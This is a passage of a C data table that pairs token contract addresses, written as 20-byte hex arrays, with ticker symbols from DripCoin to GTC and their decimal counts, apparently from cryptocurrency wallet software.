{{0x27,0x99,0xd9,0x0c,0x6d,0x44,0xcb,0x9a,0xa5,0xfb,0xc3,0x77,0x17,0x7f,0x16,0xc3,0x3e,0x05,0x6b,0x82}, "DripCoin ", 0},
{{0xe3,0x0e,0x02,0xf0,0x49,0x95,0x7e,0x2a,0x59,0x07,0x58,0x9e,0x06,0xba,0x64,0x6f,0xb2,0xc3,0x21,0xba}, "DRPU ", 8},
{{0x9a,0xf4,0xf2,0x69,0x41,0x67,0x7c,0x70,0x6c,0xfe,0xcf,0x6d,0x33,0x79,0xff,0x01,0xbb,0x85,0xd5,0xab}, "DRT ", 8},
{{0x62,0xd4,0xc0,0x46,0x44,0x31,0x4f,0x35,0x86,0x8b,0xa4,0xc6,0x5c,0xc2,0x7a,0x77,0x68,0x1d,0xe7,0xa9}, "DRVH ", 18},
{{0x03,0xe3,0xf0,0xc2,0x59,0x65,0xf1,0x3D,0xbb,0xC5,0x82,0x46,0x73,0x8C,0x18,0x3E,0x27,0xb2,0x6a,0x56}, "DSCP ", 18},
{{0x5a,0xdc,0x96,0x1D,0x6A,0xC3,0xf7,0x06,0x2D,0x2e,0xA4,0x5F,0xEF,0xB8,0xD8,0x16,0x7d,0x44,0xb1,0x90}, "DTH ", 18},
{{0xd2,0x34,0xbf,0x24,0x10,0xa0,0x00,0x9d,0xf9,0xc3,0xc6,0x3b,0x61,0x0c,0x09,0x73,0x8f,0x18,0xcc,0xd7}, "DTR ", 8},
{{0xc2,0x04,0x64,0xe0,0xc3,0x73,0x48,0x6d,0x2b,0x33,0x35,0x57,0x6e,0x83,0xa2,0x18,0xb1,0x61,0x8a,0x5e}, "DTRC ", 18},
{{0xf9,0xF7,0xc2,0x9C,0xFd,0xf1,0x9F,0xCf,0x1f,0x2A,0xA6,0xB8,0x4a,0xA3,0x67,0xBc,0xf1,0xbD,0x16,0x76}, "DTT ", 18},
{{0x76,0x5f,0x0c,0x16,0xd1,0xdd,0xc2,0x79,0x29,0x5c,0x1a,0x7c,0x24,0xb0,0x88,0x3f,0x62,0xd3,0x3f,0x75}, "DTX ", 18},
{{0x82,0xfd,0xed,0xfB,0x76,0x35,0x44,0x1a,0xA5,0xA9,0x27,0x91,0xD0,0x01,0xfA,0x73,0x88,0xda,0x80,0x25}, "DTx ", 18},
{{0xEd,0x7f,0xEA,0x78,0xC3,0x93,0xcF,0x7B,0x17,0xB1,0x52,0xA8,0xc2,0xD0,0xCD,0x97,0xaC,0x31,0x79,0x0B}, "DUBI ", 18},
{{0x8d,0xb5,0x4c,0xa5,0x69,0xd3,0x01,0x9a,0x2b,0xa1,0x26,0xd0,0x3c,0x37,0xc4,0x4b,0x5e,0xf8,0x1e,0xf6}, "DXT ", 8},
{{0xce,0x5c,0x60,0x3c,0x78,0xd0,0x47,0xef,0x43,0x03,0x2e,0x96,0xb5,0xb7,0x85,0x32,0x4f,0x75,0x3a,0x4f}, "E4ROW ", 2},
{{0x99,0x4f,0x0d,0xff,0xdb,0xae,0x0b,0xbf,0x09,0xb6,0x52,0xd6,0xf1,0x1a,0x49,0x3f,0xd3,0x3f,0x42,0xb9}, "EAGLE ", 18},
{{0x90,0x0b,0x44,0x49,0x23,0x6a,0x7b,0xb2,0x6b,0x28,0x66,0x01,0xdd,0x14,0xd2,0xbd,0xe7,0xa6,0xac,0x6c}, "EARTH ", 8},
{{0x31,0xf3,0xd9,0xd1,0xbe,0xce,0x0c,0x03,0x3f,0xf7,0x8f,0xa6,0xda,0x60,0xa6,0x04,0x8f,0x3e,0x13,0xc5}, "EBC ", 18},
{{0xaf,0xc3,0x97,0x88,0xc5,0x1f,0x0c,0x1f,0xf7,0xb5,0x53,0x17,0xf3,0xe7,0x02,0x99,0xe5,0x21,0xff,0xf6}, "eBCH ", 8},
{{0xa5,0x78,0xac,0xc0,0xcb,0x78,0x75,0x78,0x1b,0x78,0x80,0x90,0x3f,0x45,0x94,0xd1,0x3c,0xfa,0x8b,0x98}, "ECN ", 2},
{{0x17,0xF9,0x34,0x75,0xd2,0xA9,0x78,0xf5,0x27,0xc3,0xf7,0xc4,0x4a,0xBf,0x44,0xAd,0xfB,0xa6,0x0D,0x5C}, "ECO2 ", 2},
{{0x17,0x1d,0x75,0x0d,0x42,0xd6,0x61,0xb6,0x2c,0x27,0x7a,0x6b,0x48,0x6a,0xdb,0x82,0x34,0x8c,0x3e,0xca}, "ECOM ", 18},
{{0x88,0x69,0xb1,0xf9,0xbc,0x8b,0x24,0x6a,0x4d,0x72,0x20,0xf8,0x34,0xe5,0x6d,0xdf,0xdd,0x82,0x55,0xe7}, "ECP ", 18},
{{0xfa,0x1d,0xe2,0xee,0x97,0xe4,0xc1,0x0c,0x94,0xc9,0x1c,0xb2,0xb5,0x06,0x2b,0x89,0xfb,0x14,0x0b,0x82}, "EDC ", 6},
{{0x08,0x71,0x1D,0x3B,0x02,0xC8,0x75,0x8F,0x2F,0xB3,0xab,0x4e,0x80,0x22,0x84,0x18,0xa7,0xF8,0xe3,0x9c}, "EDG ", 0},
{{0xce,0xd4,0xe9,0x31,0x98,0x73,0x4d,0xda,0xff,0x84,0x92,0xd5,0x25,0xbd,0x25,0x8d,0x49,0xeb,0x38,0x8e}, "EDO ", 18},
{{0xc5,0x28,0xc2,0x8F,0xEC,0x0A,0x90,0xC0,0x83,0x32,0x8B,0xC4,0x5f,0x58,0x7e,0xE2,0x15,0x76,0x0A,0x0F}, "EDR ", 18},
{{0x2a,0x22,0xe5,0xcc,0xa0,0x0a,0x3d,0x63,0x30,0x8f,0xa3,0x9f,0x29,0x20,0x2e,0xb1,0xb3,0x9e,0xef,0x52}, "EDU ", 18},
{{0xeb,0x7c,0x20,0x02,0x71,0x72,0xe5,0xd1,0x43,0xfb,0x03,0x0d,0x50,0xf9,0x1c,0xec,0xe2,0xd1,0x48,0x5d}, "eBTC ", 8},
{{0xb5,0x3a,0x96,0xbc,0xbd,0xd9,0xcf,0x78,0xdf,0xf2,0x0b,0xab,0x6c,0x2b,0xe7,0xba,0xec,0x8f,0x00,0xf8}, "eGAS ", 8},
{{0x8e,0x1b,0x44,0x8E,0xC7,0xaD,0xFc,0x7F,0xa3,0x5F,0xC2,0xe8,0x85,0x67,0x8b,0xD3,0x23,0x17,0x6E,0x34}, "EGT ", 18},
{{0x5d,0xba,0xc2,0x4e,0x98,0xe2,0xa4,0xf4,0x3a,0xdc,0x0d,0xc8,0x2a,0xf4,0x03,0xfc,0xa0,0x63,0xce,0x2c}, "EGT ", 18},
{{0xf9,0xF0,0xFC,0x71,0x67,0xc3,0x11,0xDd,0x2F,0x1e,0x21,0xE9,0x20,0x4F,0x87,0xEB,0xA9,0x01,0x2f,0xB2}, "EHT ", 8},
{{0xa6,0xa8,0x40,0xe5,0x0b,0xca,0xa5,0x0d,0xa0,0x17,0xb9,0x1a,0x0d,0x86,0xb8,0xb2,0xd4,0x11,0x56,0xee}, "EKO ", 18},
{{0xba,0xb1,0x65,0xdf,0x94,0x55,0xaa,0x0f,0x2a,0xed,0x1f,0x25,0x65,0x52,0x0b,0x91,0xdd,0xad,0xb4,0xc8}, "EKT ", 8},
{{0xd4,0x9f,0xf1,0x36,0x61,0x45,0x13,0x13,0xca,0x15,0x53,0xfd,0x69,0x54,0xbd,0x1d,0x9b,0x6e,0x02,0xb9}, "ELEC ", 18},
{{0xbf,0x21,0x79,0x85,0x9f,0xc6,0xd5,0xbe,0xe9,0xbf,0x91,0x58,0x63,0x2d,0xc5,0x16,0x78,0xa4,0x10,0x0e}, "ELF ", 18},
{{0xc8,0xC6,0xA3,0x1A,0x4A,0x80,0x6d,0x37,0x10,0xA7,0xB3,0x8b,0x7B,0x29,0x6D,0x2f,0xAB,0xCC,0xDB,0xA8}, "ELIX ", 18},
{{0x44,0x19,0x7a,0x4c,0x44,0xd6,0xa0,0x59,0x29,0x7c,0xaf,0x6b,0xe4,0xf7,0xe1,0x72,0xbd,0x56,0xca,0xaf}, "ELTCOIN ", 8},
{{0xa9,0x55,0x92,0xDC,0xFf,0xA3,0xC0,0x80,0xB4,0xB4,0x0E,0x45,0x9c,0x5f,0x56,0x92,0xF6,0x7D,0xB7,0xF8}, "ELY ", 18},
{{0xb6,0x7b,0x88,0xa2,0x57,0x08,0xa3,0x5a,0xe7,0xc2,0xd7,0x36,0xd3,0x98,0xd2,0x68,0xce,0x4f,0x7f,0x83}, "EMON ", 8},
{{0x95,0xda,0xaa,0xb9,0x80,0x46,0x84,0x6b,0xf4,0xb2,0x85,0x3e,0x23,0xcb,0xa2,0x36,0xfa,0x39,0x4a,0x31}, "EMONT ", 8},
{{0x95,0x01,0xBF,0xc4,0x88,0x97,0xDC,0xEE,0xad,0xf7,0x31,0x13,0xEF,0x63,0x5d,0x2f,0xF7,0xee,0x4B,0x97}, "EMT ", 18},
{{0xB8,0x02,0xb2,0x4E,0x06,0x37,0xc2,0xB8,0x7D,0x2E,0x8b,0x77,0x84,0xC0,0x55,0xBB,0xE9,0x21,0x01,0x1a}, "EMV ", 2},
{{0x03,0x9f,0x50,0x50,0xde,0x49,0x08,0xf9,0xb5,0xdd,0xf4,0x0a,0x4f,0x3a,0xa3,0xf3,0x29,0x08,0x63,0x87}, "ENC ", 18},
{{0xf0,0xee,0x6b,0x27,0xb7,0x59,0xc9,0x89,0x3c,0xe4,0xf0,0x94,0xb4,0x9a,0xd2,0x8f,0xd1,0x5a,0x23,0xe4}, "ENG ", 8},
{{0xF6,0x29,0xcB,0xd9,0x4d,0x37,0x91,0xC9,0x25,0x01,0x52,0xBD,0x8d,0xfB,0xDF,0x38,0x0E,0x2a,0x3B,0x9c}, "ENJ ", 18},
{{0x5B,0xC7,0xe5,0xf0,0xAb,0x8b,0x2E,0x10,0xD2,0xD0,0xa3,0xF2,0x17,0x39,0xFC,0xe6,0x24,0x59,0xae,0xF3}, "ENTRP ", 18},
{{0x86,0xfa,0x04,0x98,0x57,0xe0,0x20,0x9a,0xa7,0xd9,0xe6,0x16,0xf7,0xeb,0x3b,0x3b,0x78,0xec,0xfd,0xb0}, "EOS ", 18},
{{0x7e,0x9e,0x43,0x1a,0x0b,0x8c,0x4d,0x53,0x2c,0x74,0x5b,0x10,0x43,0xc7,0xfa,0x29,0xa4,0x8d,0x4f,0xba}, "eosDAC ", 18},
{{0x35,0xBA,0xA7,0x20,0x38,0xF1,0x27,0xf9,0xf8,0xC8,0xf9,0xB4,0x91,0x04,0x9f,0x64,0xf3,0x77,0x91,0x4d}, "EPX ", 4},
{{0x50,0xee,0x67,0x46,0x89,0xd7,0x5c,0x0f,0x88,0xe8,0xf8,0x3c,0xfe,0x8c,0x4b,0x69,0xe8,0xfd,0x59,0x0d}, "EPY ", 8},
{{0x47,0xdd,0x62,0xd4,0xd0,0x75,0xde,0xad,0x71,0xd0,0xe0,0x02,0x99,0xfc,0x56,0xa2,0xd7,0x47,0xbe,0xbb}, "EQL ", 18},
{{0x74,0xce,0xda,0x77,0x28,0x1b,0x33,0x91,0x42,0xa3,0x68,0x17,0xfa,0x5f,0x9e,0x29,0x41,0x2b,0xab,0x85}, "ERO ", 8},
{{0x92,0xA5,0xB0,0x4D,0x0E,0xD5,0xD9,0x4D,0x7a,0x19,0x3d,0x1d,0x33,0x4D,0x3D,0x16,0x99,0x6f,0x4E,0x13}, "ERT ", 18},
{{0xe8,0xa1,0xdf,0x95,0x8b,0xe3,0x79,0x04,0x5e,0x2b,0x46,0xa3,0x1a,0x98,0xb9,0x3a,0x2e,0xcd,0xfd,0xed}, "ESZ ", 18},
{{0x1b,0x97,0x43,0xf5,0x56,0xd6,0x5e,0x75,0x7c,0x4c,0x65,0x0b,0x45,0x55,0xba,0xf3,0x54,0xcb,0x8b,0xd3}, "ETBS ", 12},
{{0xdd,0x74,0xa7,0xa3,0x76,0x9f,0xa7,0x25,0x61,0xb3,0xa6,0x9e,0x65,0x96,0x8f,0x49,0x74,0x8c,0x69,0x0c}, "ETCH ", 18},
{{0x28,0xc8,0xd0,0x1f,0xf6,0x33,0xea,0x9c,0xd8,0xfc,0x6a,0x45,0x1d,0x74,0x57,0x88,0x9e,0x69,0x8d,0xe6}, "ETG ", 0},
{{0x3a,0x26,0x74,0x6D,0xdb,0x79,0xB1,0xB8,0xe4,0x45,0x0e,0x3F,0x4F,0xFE,0x32,0x85,0xA3,0x07,0x38,0x7E}, "ETHB ", 8},
{{0xdb,0xfb,0x42,0x3e,0x9b,0xbf,0x16,0x29,0x43,0x88,0xe0,0x76,0x96,0xa5,0x12,0x0e,0x4c,0xeb,0xa0,0xc5}, "ETHD ", 18},
{{0x5A,0xf2,0xBe,0x19,0x3a,0x6A,0xBC,0xa9,0xc8,0x81,0x70,0x01,0xF4,0x57,0x44,0x77,0x7D,0xb3,0x07,0x56}, "ETHOS ", 8},
{{0x3c,0x4a,0x3f,0xfd,0x81,0x3a,0x10,0x7f,0xeb,0xd5,0x7b,0x2f,0x01,0xbc,0x34,0x42,0x64,0xd9,0x0f,0xde}, "ETK ", 2},
{{0x69,0x27,0xC6,0x9f,0xb4,0xda,0xf2,0x04,0x3f,0xbB,0x1C,0xb7,0xb8,0x6c,0x56,0x61,0x41,0x6b,0xea,0x29}, "ETR ", 18},
{{0xdb,0x25,0xf2,0x11,0xab,0x05,0xb1,0xc9,0x7d,0x59,0x55,0x16,0xf4,0x57,0x94,0x52,0x8a,0x80,0x7a,0xd8}, "EURS ", 2},
{{0xab,0xdf,0x14,0x78,0x70,0x23,0x5f,0xcf,0xc3,0x41,0x53,0x82,0x8c,0x76,0x9a,0x70,0xb3,0xfa,0xe0,0x1f}, "EURT ", 6},
{{0xb6,0x2d,0x18,0xde,0xa7,0x40,0x45,0xe8,0x22,0x35,0x2c,0xe4,0xb3,0xee,0x77,0x31,0x9d,0xc5,0xff,0x2f}, "EVC ", 18},
{{0x92,0x31,0x08,0xa4,0x39,0xC4,0xe8,0xC2,0x31,0x5c,0x4f,0x65,0x21,0xE5,0xcE,0x95,0xB4,0x4e,0x9B,0x4c}, "EVE ", 18},
{{0x68,0x90,0x9e,0x58,0x6e,0xea,0xc8,0xf4,0x73,0x15,0xe8,0x4b,0x4c,0x97,0x88,0xdd,0x54,0xef,0x65,0xbb}, "EVN ", 18},
{{0xd7,0x80,0xAe,0x2B,0xf0,0x4c,0xD9,0x6E,0x57,0x7D,0x3D,0x01,0x47,0x62,0xf8,0x31,0xd9,0x71,0x29,0xd0}, "EVN ", 18},
{{0xf3,0xdb,0x5f,0xa2,0xc6,0x6b,0x7a,0xf3,0xeb,0x0c,0x0b,0x78,0x25,0x10,0x81,0x6c,0xbe,0x48,0x13,0xb8}, "EVX ", 4},
{{0x44,0x49,0x97,0xb7,0xe7,0xfC,0x83,0x0E,0x20,0x08,0x9a,0xfe,0xa3,0x07,0x8c,0xd5,0x18,0xfC,0xF2,0xA2}, "EWO ", 18},
{{0x00,0xc4,0xb3,0x98,0x50,0x06,0x45,0xeb,0x5d,0xa0,0x0a,0x1a,0x37,0x9a,0x88,0xb1,0x16,0x83,0xba,0x01}, "EXC ", 18},
{{0xc9,0x8e,0x06,0x39,0xc6,0xd2,0xec,0x03,0x7a,0x61,0x53,0x41,0xc3,0x69,0x66,0x6b,0x11,0x0e,0x80,0xe5}, "EXMR ", 8},
{{0xe4,0x69,0xc4,0x47,0x3a,0xf8,0x22,0x17,0xb3,0x0c,0xf1,0x7b,0x10,0xbc,0xdb,0x6c,0x8c,0x79,0x6e,0x75}, "EXRN ", 0},
{{0x5c,0x74,0x3a,0x35,0xe9,0x03,0xf6,0xc5,0x84,0x51,0x4e,0xc6,0x17,0xac,0xee,0x06,0x11,0xcf,0x44,0xf3}, "EXY ", 18},
{{0x5e,0x60,0x16,0xae,0x7d,0x7c,0x49,0xd3,0x47,0xdc,0xf8,0x34,0x86,0x0b,0x9f,0x3e,0xe2,0x82,0x81,0x2b}, "EZT ", 8},
{{0xb6,0x77,0x34,0x52,0x1e,0xAb,0xBE,0x9C,0x77,0x37,0x29,0xdB,0x73,0xE1,0x6C,0xC2,0xdf,0xb2,0x0A,0x58}, "ERupee ", 2},
{{0x1c,0xca,0xa0,0xf2,0xa7,0x21,0x0d,0x76,0xe1,0xfd,0xec,0x74,0x0d,0x5f,0x32,0x3e,0x2e,0x1b,0x16,0x72}, "FACE ", 18},
{{0x19,0x0e,0x56,0x9b,0xE0,0x71,0xF4,0x0c,0x70,0x4e,0x15,0x82,0x5F,0x28,0x54,0x81,0xCB,0x74,0xB6,0xcC}, "FAM ", 12},
{{0x90,0x16,0x2f,0x41,0x88,0x6c,0x09,0x46,0xd0,0x99,0x99,0x73,0x6f,0x1c,0x15,0xc8,0xa1,0x05,0xa4,0x21}, "FAN ", 18},
{{0x7d,0xcb,0x3b,0x23,0x56,0xc8,0x22,0xd3,0x57,0x7d,0x4d,0x06,0x0d,0x0d,0x5d,0x78,0xc8,0x60,0x48,0x8c}, "FANX ", 18},
{{0x23,0x35,0x20,0x36,0xe9,0x11,0xa2,0x2c,0xfc,0x69,0x2b,0x5e,0x2e,0x19,0x66,0x92,0x65,0x8a,0xde,0xd9}, "FDZ ", 18},
{{0xd9,0xa8,0xcf,0xe2,0x1c,0x23,0x2d,0x48,0x50,0x65,0xcb,0x62,0xa9,0x68,0x66,0x79,0x9d,0x46,0x45,0xf7}, "FGP ", 18},
{{0x52,0xfb,0x36,0xc8,0x3a,0xd3,0x3c,0x18,0x24,0x91,0x2f,0xc8,0x10,0x71,0xca,0x5e,0xeb,0x8a,0xb3,0x90}, "FID ", 18},
{{0x00,0x9e,0x86,0x49,0x23,0xb4,0x92,0x63,0xc7,0xF1,0x0D,0x19,0xB7,0xf8,0xAb,0x7a,0x9A,0x5A,0xAd,0x33}, "FKX ", 18},
{{0xf0,0x4a,0x8a,0xc5,0x53,0xFc,0xeD,0xB5,0xBA,0x99,0xA6,0x47,0x99,0x15,0x58,0x26,0xC1,0x36,0xb0,0xBe}, "FLIXX ", 18},
{{0x04,0xcC,0x78,0x3b,0x45,0x0b,0x8D,0x11,0xF3,0xC7,0xd0,0x0D,0xD0,0x3f,0xDF,0x7F,0xB5,0x1f,0xE9,0xF2}, "FLMC ", 18},
{{0x04,0x93,0x99,0xa6,0xb0,0x48,0xd5,0x29,0x71,0xf7,0xd1,0x22,0xae,0x21,0xa1,0x53,0x27,0x22,0x28,0x5f}, "FLOT ", 18},
{{0x3a,0x1B,0xda,0x28,0xAd,0xB5,0xB0,0xa8,0x12,0xa7,0xCF,0x10,0xA1,0x95,0x0c,0x92,0x0F,0x79,0xBc,0xD3}, "FLP ", 18},
{{0x9a,0xeF,0xBE,0x0b,0x3C,0x3b,0xa9,0xEa,0xb2,0x62,0xCB,0x98,0x56,0xE8,0x15,0x7A,0xB7,0x64,0x8e,0x09}, "FLR ", 18},
{{0x95,0x4b,0x5d,0xe0,0x9a,0x55,0xe5,0x97,0x55,0xac,0xbd,0xa2,0x9e,0x1e,0xb7,0x4a,0x45,0xd3,0x01,0x75}, "FLUZ ", 18},
{{0x70,0xb1,0x47,0xe0,0x1e,0x92,0x85,0xe7,0xce,0x68,0xb9,0xba,0x43,0x7f,0xe3,0xa9,0x19,0x0e,0x75,0x6a}, "FLX ", 18},
{{0x4d,0xf4,0x7b,0x49,0x69,0xb2,0x91,0x1c,0x96,0x65,0x06,0xe3,0x59,0x2c,0x41,0x38,0x94,0x93,0x95,0x3b}, "FND ", 18},
{{0x07,0x07,0x68,0x1f,0x34,0x4d,0xeb,0x24,0x18,0x40,0x37,0xfc,0x02,0x28,0x85,0x6f,0x21,0x37,0xb0,0x2e}, "FNKOS ", 18},
{{0xbd,0x4b,0x60,0xa1,0x38,0xb3,0xfc,0xe3,0x58,0x4e,0xa0,0x1f,0x50,0xc0,0x90,0x8c,0x18,0xf9,0x67,0x7a}, "FNTB ", 8},
{{0x2a,0x09,0x3B,0xcF,0x0C,0x98,0xEf,0x74,0x4B,0xb6,0xF6,0x9D,0x74,0xf2,0xF8,0x56,0x05,0x32,0x42,0x90}, "FOOD ", 8},
{{0x42,0x70,0xbb,0x23,0x8f,0x6d,0xd8,0xb1,0xc3,0xca,0x01,0xf9,0x6c,0xa6,0x5b,0x26,0x47,0xc0,0x6d,0x3c}, "FOTA ", 18},
{{0x0A,0xBe,0xFb,0x76,0x11,0xCb,0x3A,0x01,0xEA,0x3F,0xaD,0x85,0xf3,0x3C,0x3C,0x93,0x4F,0x8e,0x2c,0xF4}, "FRD ", 18},
{{0x17,0xe6,0x7d,0x1c,0xb4,0xe3,0x49,0xb9,0xca,0x4b,0xc3,0xe1,0x7c,0x7d,0xf2,0xa3,0x97,0xa7,0xbb,0x64}, "FREC ", 18},
{{0x48,0xdf,0x4e,0x02,0x96,0xf9,0x08,0xce,0xab,0x04,0x28,0xa5,0x18,0x2d,0x19,0xb3,0x1f,0xc0,0x37,0xd6}, "FRV ", 8},
{{0xd0,0x35,0x2a,0x01,0x9e,0x9a,0xb9,0xd7,0x57,0x77,0x6f,0x53,0x23,0x77,0xaa,0xeb,0xd3,0x6f,0xd5,0x41}, "FSN ", 18},
{{0x78,0xa7,0x3B,0x6C,0xBc,0x5D,0x18,0x3C,0xE5,0x6e,0x78,0x6f,0x6e,0x90,0x5C,0xaD,0xEC,0x63,0x54,0x7B}, "FT ", 18},
{{0xe6,0xf7,0x4d,0xcf,0xa0,0xe2,0x08,0x83,0x00,0x8d,0x8c,0x16,0xb6,0xd9,0xa3,0x29,0x18,0x9d,0x0c,0x30}, "FTC ", 2},
{{0x94,0x3e,0xd8,0x52,0xda,0xdb,0x5c,0x39,0x38,0xec,0xdc,0x68,0x83,0x71,0x8d,0xf8,0x14,0x2d,0xe4,0xc8}, "FTI ", 18},
{{0x20,0x23,0xDC,0xf7,0xc4,0x38,0xc8,0xC8,0xC0,0xB0,0xF2,0x8d,0xBa,0xE1,0x55,0x20,0xB4,0xf3,0xEe,0x20}, "FTR ", 18},
{{0x2A,0xEC,0x18,0xc5,0x50,0x0f,0x21,0x35,0x9C,0xE1,0xBE,0xA5,0xDc,0x17,0x77,0x34,0x4d,0xF4,0xC0,0xDc}, "FTT ", 18},
{{0xd5,0x59,0xf2,0x02,0x96,0xff,0x48,0x95,0xda,0x39,0xb5,0xbd,0x9a,0xdd,0x54,0xb4,0x42,0x59,0x6a,0x61}, "FTX ", 18},
{{0x41,0x87,0x5c,0x23,0x32,0xb0,0x87,0x7c,0xdf,0xaa,0x69,0x9b,0x64,0x14,0x02,0xb7,0xd4,0x64,0x2c,0x32}, "FTXT ", 8},
{{0x65,0xbe,0x44,0xc7,0x47,0x98,0x8f,0xbf,0x60,0x62,0x07,0x69,0x8c,0x94,0x4d,0xf4,0x44,0x2e,0xfe,0x19}, "FUCK ", 4},
{{0xEA,0x38,0xeA,0xa3,0xC8,0x6c,0x8F,0x9B,0x75,0x15,0x33,0xBa,0x2E,0x56,0x2d,0xeb,0x9a,0xcD,0xED,0x40}, "FUEL ", 18},
{{0x41,0x9D,0x0d,0x8B,0xdD,0x9a,0xF5,0xe6,0x06,0xAe,0x22,0x32,0xed,0x28,0x5A,0xff,0x19,0x0E,0x71,0x1b}, "FUN ", 8},
{{0x18,0x29,0xaa,0x04,0x5e,0x21,0xe0,0xd5,0x95,0x80,0x02,0x4a,0x95,0x1d,0xb4,0x80,0x96,0xe0,0x17,0x82}, "FXT ", 18},
{{0x88,0xFC,0xFB,0xc2,0x2C,0x6d,0x3d,0xBa,0xa2,0x5a,0xF4,0x78,0xC5,0x78,0x97,0x83,0x39,0xBD,0xe7,0x7a}, "FYN ", 18},
{{0x8f,0x09,0x21,0xf3,0x05,0x55,0x62,0x41,0x43,0xd4,0x27,0xb3,0x40,0xb1,0x15,0x69,0x14,0x88,0x2c,0x10}, "FYP ", 18},
{{0xf6,0x74,0x51,0xdc,0x84,0x21,0xf0,0xe0,0xaf,0xeb,0x52,0xfa,0xa8,0x10,0x10,0x34,0xed,0x08,0x1e,0xd9}, "GAM ", 8},
{{0xc0,0xEA,0x63,0x06,0xF6,0x36,0x0F,0xE7,0xdC,0xAB,0x65,0xD1,0x6B,0xf1,0xa3,0xAF,0x92,0xC7,0x9A,0xa2}, "GANA ", 18},
{{0x68,0x71,0x74,0xf8,0xc4,0x9c,0xeb,0x77,0x29,0xd9,0x25,0xc3,0xa9,0x61,0x50,0x7e,0xa4,0xac,0x7b,0x28}, "GAT ", 18},
{{0x70,0x88,0x76,0xf4,0x86,0xe4,0x48,0xee,0x89,0xeb,0x33,0x2b,0xfb,0xc8,0xe5,0x93,0x55,0x30,0x58,0xb9}, "GAVEL ", 18},
{{0x75,0x85,0xF8,0x35,0xae,0x2d,0x52,0x27,0x22,0xd2,0x68,0x43,0x23,0xa0,0xba,0x83,0x40,0x1f,0x32,0xf5}, "GBT ", 18},
{{0x12,0xfC,0xd6,0x46,0x3E,0x66,0x97,0x4c,0xF7,0xbB,0xC2,0x4F,0xFC,0x4d,0x40,0xd6,0xbE,0x45,0x82,0x83}, "GBX ", 8},
{{0xdb,0x0F,0x69,0x30,0x6F,0xF8,0xF9,0x49,0xf2,0x58,0xE8,0x3f,0x6b,0x87,0xee,0x5D,0x05,0x2d,0x0b,0x23}, "GCP ", 18},
{{0x4F,0x4f,0x0D,0xb4,0xde,0x90,0x3B,0x88,0xf2,0xB1,0xa2,0x84,0x79,0x71,0xE2,0x31,0xD5,0x4F,0x8f,0xd3}, "GEE ", 8},
{{0x24,0x08,0x3b,0xb3,0x00,0x72,0x64,0x3c,0x3b,0xb9,0x0b,0x44,0xb7,0x28,0x58,0x60,0xa7,0x55,0xe6,0x87}, "GELD ", 18},
{{0xc7,0xbb,0xa5,0xb7,0x65,0x58,0x1e,0xfb,0x2c,0xdd,0x26,0x79,0xdb,0x5b,0xea,0x9e,0xe7,0x9b,0x20,0x1f}, "GEM ", 18},
{{0x54,0x3F,0xf2,0x27,0xF6,0x4A,0xa1,0x7e,0xA1,0x32,0xBf,0x98,0x86,0xcA,0xb5,0xDB,0x55,0xDC,0xAd,0xdf}, "GEN ", 18},
{{0x8a,0x85,0x42,0x88,0xa5,0x97,0x60,0x36,0xa7,0x25,0x87,0x91,0x64,0xca,0x3e,0x91,0xd3,0x0c,0x6a,0x1b}, "GET ", 18},
{{0xFc,0xD8,0x62,0x98,0x56,0x28,0xb2,0x54,0x06,0x1F,0x7A,0x91,0x80,0x35,0xB8,0x03,0x40,0xD0,0x45,0xd3}, "GIF ", 18},
{{0xaE,0x4f,0x56,0xF0,0x72,0xc3,0x4C,0x0a,0x65,0xB3,0xae,0x3E,0x4D,0xB7,0x97,0xD8,0x31,0x43,0x9D,0x93}, "GIM ", 8},
{{0x71,0xd0,0x1d,0xb8,0xd6,0xa2,0xfb,0xea,0x7f,0x8d,0x43,0x45,0x99,0xc2,0x37,0x98,0x0c,0x23,0x4e,0x4c}, "GLA ", 8},
{{0xb3,0xBd,0x49,0xE2,0x8f,0x8F,0x83,0x2b,0x8d,0x1E,0x24,0x61,0x06,0x99,0x1e,0x54,0x6c,0x32,0x35,0x02}, "GMT ", 18},
{{0x68,0x10,0xe7,0x76,0x88,0x0C,0x02,0x93,0x3D,0x47,0xDB,0x1b,0x9f,0xc0,0x59,0x08,0xe5,0x38,0x6b,0x96}, "GNO ", 18},
{{0xa7,0x44,0x76,0x44,0x31,0x19,0xA9,0x42,0xdE,0x49,0x85,0x90,0xFe,0x1f,0x24,0x54,0xd7,0xD4,0xaC,0x0d}, "GNT ", 18},
{{0x6e,0xc8,0xa2,0x4c,0xab,0xdc,0x33,0x9a,0x06,0xa1,0x72,0xf8,0x22,0x3e,0xa5,0x57,0x05,0x5a,0xda,0xa5}, "GNX ", 9},
{{0x24,0x75,0x51,0xF2,0xEB,0x33,0x62,0xE2,0x22,0xc7,0x42,0xE9,0xc7,0x88,0xB8,0x95,0x7D,0x9B,0xC8,0x7e}, "GNY ", 18},
{{0xeA,0xb4,0x31,0x93,0xCF,0x06,0x23,0x07,0x3C,0xa8,0x9D,0xB9,0xB7,0x12,0x79,0x63,0x56,0xFA,0x74,0x14}, "GOLDX ", 18},
{{0x42,0x3b,0x5f,0x62,0xb3,0x28,0xd0,0xd6,0xd4,0x48,0x70,0xf4,0xee,0xe3,0x16,0xbe,0xfa,0x0b,0x2d,0xf5}, "GOT ", 18},
{{0x12,0xb1,0x9d,0x3e,0x2c,0xcc,0x14,0xda,0x04,0xfa,0xe3,0x3e,0x63,0x65,0x2c,0xe4,0x69,0xb3,0xf2,0xfd}, "GRID ", 12},
{{0xb4,0x44,0x20,0x8c,0xb0,0x51,0x6c,0x15,0x01,0x78,0xfc,0xf9,0xa5,0x26,0x04,0xbc,0x04,0xa1,0xac,0xea}, "GRMD ", 18},
{{0xC1,0x71,0x95,0xbd,0xe4,0x9D,0x70,0xCe,0xfC,0xF8,0xA9,0xF2,0xee,0x17,0x59,0xFF,0xC2,0x7B,0xF0,0xB1}, "GROO ", 18},
{{0x0a,0x9A,0x9c,0xe6,0x00,0xD0,0x8B,0xF9,0xb7,0x6F,0x49,0xFA,0x4e,0x7b,0x38,0xA6,0x7E,0xBE,0xB1,0xE6}, "GROW ", 8},
{{0x22,0x8b,0xa5,0x14,0x30,0x9f,0xfd,0xf0,0x3a,0x81,0xa2,0x05,0xa6,0xd0,0x40,0xe4,0x29,0xd6,0xe8,0x0c}, "GSC ", 18},
{{0xe5,0x30,0x44,0x1f,0x4f,0x73,0xbD,0xB6,0xDC,0x2f,0xA5,0xaF,0x7c,0x3f,0xC5,0xfD,0x55,0x1E,0xc8,0x38}, "GSE ", 4},
{{0xB7,0x08,0x35,0xD7,0x82,0x2e,0xBB,0x94,0x26,0xB5,0x65,0x43,0xE3,0x91,0x84,0x6C,0x10,0x7b,0xd3,0x2C}, "GTC ", 18},
